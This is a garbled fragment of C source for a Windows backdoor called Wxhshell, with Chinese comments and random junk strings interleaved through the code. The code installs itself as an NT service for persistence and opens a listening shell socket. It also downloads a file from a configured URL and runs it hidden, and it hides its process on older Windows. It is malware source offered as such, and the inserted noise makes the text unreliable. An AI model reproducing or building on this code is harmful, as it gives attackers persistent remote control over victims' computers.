0; as\)S?0`. 9'1;-^U1 CloseHandle(hProcess); M<hs_8_* bDcWb2lqs hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JRcuw'8+q if(hProcess==NULL) return 0; Fb$5&~d ?.|wfBI HMODULE hMod; :$u{ char procName[255]; F\YcSDM unsigned long cbNeeded; cPa 0n4 yBD.Cs@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?`BED6$`G9 Yn?2,^?N CloseHandle(hProcess); *+zy\AhkP @/Wty@PU if(strstr(procName,"services")) return 1; // 以服务启动 -6*OF.Ag` ph5xW<VNP return 0; // 注册表启动 {jCu9 ]c! } QvT-&| 0*'`%W+5 // 主模块 KD<; ?oN<O int StartWxhshell(LPSTR lpCmdLine) z.\[Va$@l { '+GVozc6c" SOCKET wsl; <y b=! BOOL val=TRUE; HtS1N}@ int port=0; rVIb'sa struct sockaddr_in door; /s-jR]#VA 5O4&BxQ~} if(wscfg.ws_autoins) Install(); q#':aXcv" LU 5
`!0m port=atoi(lpCmdLine); hBs>2u|z9 K.sj"#D if(port<=0) port=wscfg.ws_port; {
?1mY" CgPZvB[ WSADATA data; 5i
wikC=y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cWy*K4O :)3$&QdHT if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xX=IMM3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dk.9&9mz door.sin_family = AF_INET; lpX p)r+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ct|'I]nB.h door.sin_port = htons(port); n!EH>'T 3:CQMZ|;@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {/[?YTDU closesocket(wsl); J 6d n~nPK return 1; @a7(*<". } K:Xrfn{s x4 A TK if(listen(wsl,2) == INVALID_SOCKET) { yz&q2 closesocket(wsl); IQ27FV|3 return 1; QP-<$P;~ } -EX3'
[*' Wxhshell(wsl); N_WA4?rB WSACleanup(); \Lh<E5@] 9"u@<] return 0; C`K9WJOD qjRiTIp9q } :4L5@>b- ztxQv5=:, // 以NT服务方式启动 FlA$ G3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ![MDmt5Ub^ { 9gIJX? DWORD status = 0;
} C2i#;b DWORD specificError = 0xfffffff; ne%OTr4dD >c'_xa?^G serviceStatus.dwServiceType = SERVICE_WIN32; \~1zAiSd># serviceStatus.dwCurrentState = SERVICE_START_PENDING; KLv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N<i Vs serviceStatus.dwWin32ExitCode = 0; VRN9 yn2 serviceStatus.dwServiceSpecificExitCode = 0; /dP8F serviceStatus.dwCheckPoint = 0; |LGNoP}SA serviceStatus.dwWaitHint = 0; zR/p}Wu|! MZ+IorZl hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '[ddE!ta if (hServiceStatusHandle==0) return; t>=y7n&q 1V9X(uP status = GetLastError(); 2b&;Y /z if (status!=NO_ERROR) GLcZ=6)"' { 5Vm}<8{ serviceStatus.dwCurrentState = SERVICE_STOPPED; +cOI`4`$ serviceStatus.dwCheckPoint = 0; eVK<%r= serviceStatus.dwWaitHint = 0; <OO/Tn'a serviceStatus.dwWin32ExitCode = status;
oG_'<5Bv> serviceStatus.dwServiceSpecificExitCode = specificError; $@f3=NJ4k SetServiceStatus(hServiceStatusHandle, &serviceStatus); rp[oH=& return; UDi3dH= } rM?Dp2 r.G/f{=<@ serviceStatus.dwCurrentState = SERVICE_RUNNING; .g`*cDW^= serviceStatus.dwCheckPoint = 0; :phD?\!w8t serviceStatus.dwWaitHint = 0; %a6]gsiv2< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9P>S[= } OL9C#er =$z$VbBv // 处理NT服务事件,比如:启动、停止 s&_O2(l VOID WINAPI NTServiceHandler(DWORD fdwControl) 7JwWM2N?V { c(=O`%B{ switch(fdwControl) >wm$,%zk { u~T$F/]k> case SERVICE_CONTROL_STOP: H;!hp0y serviceStatus.dwWin32ExitCode = 0; f*&JfP serviceStatus.dwCurrentState = SERVICE_STOPPED; GB0b|9(6D" serviceStatus.dwCheckPoint = 0; >^ 1S26 serviceStatus.dwWaitHint = 0; KI QBY!N+ { :XY3TI SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?ZVzKTb>} } Pds*M?&F return; 4qXUk:C@m
case SERVICE_CONTROL_PAUSE: 8ch~UBq/ serviceStatus.dwCurrentState = SERVICE_PAUSED; `1v!sSR0R break; $aI MQ[( case SERVICE_CONTROL_CONTINUE: \gQ+@O&+ serviceStatus.dwCurrentState = SERVICE_RUNNING; _89G2)U=C break; fQA)r case SERVICE_CONTROL_INTERROGATE: i/EiUH/~ break; ik NFW*p }; A,[m=9V SetServiceStatus(hServiceStatusHandle, &serviceStatus); RV*Zi\-X } `A{~}6jw ;p"XCLHl // 标准应用程序主函数 9i)mv/i int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <ORz`^27o { =F-^RnO%\ Ln%_8yth // 获取操作系统版本 10a*7 L OsIsNt=GetOsVer(); @Lv_\^2/} GetModuleFileName(NULL,ExeFile,MAX_PATH); j1CD;9i)% CN>};>WlG // 从命令行安装 hLD;U
J?S if(strpbrk(lpCmdLine,"iI")) Install(); r.5Js*VX! Kj|F // 下载执行文件 %+"AF+c3r if(wscfg.ws_downexe) { kGeME
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) utS Mx( WinExec(wscfg.ws_filenam,SW_HIDE); SF=|++b1f } Y6DiISl 9)hC,)5 if(!OsIsNt) { *
rANf&y // 如果时win9x,隐藏进程并且设置为注册表启动 LVtQ^ 5>8 HideProc(); 07Cuoqt2 StartWxhshell(lpCmdLine); z ate%y } zO]dQ$r\Z else Q&a<9e& if(StartFromService()) d~$t{46 // 以服务方式启动 SLB iQd. StartServiceCtrlDispatcher(DispatchTable); \>dG' else #,{v Js~ // 普通方式启动 8~+Msn: StartWxhshell(lpCmdLine); L6#d UVU*5U~ return 0; mpAh'f4$* }
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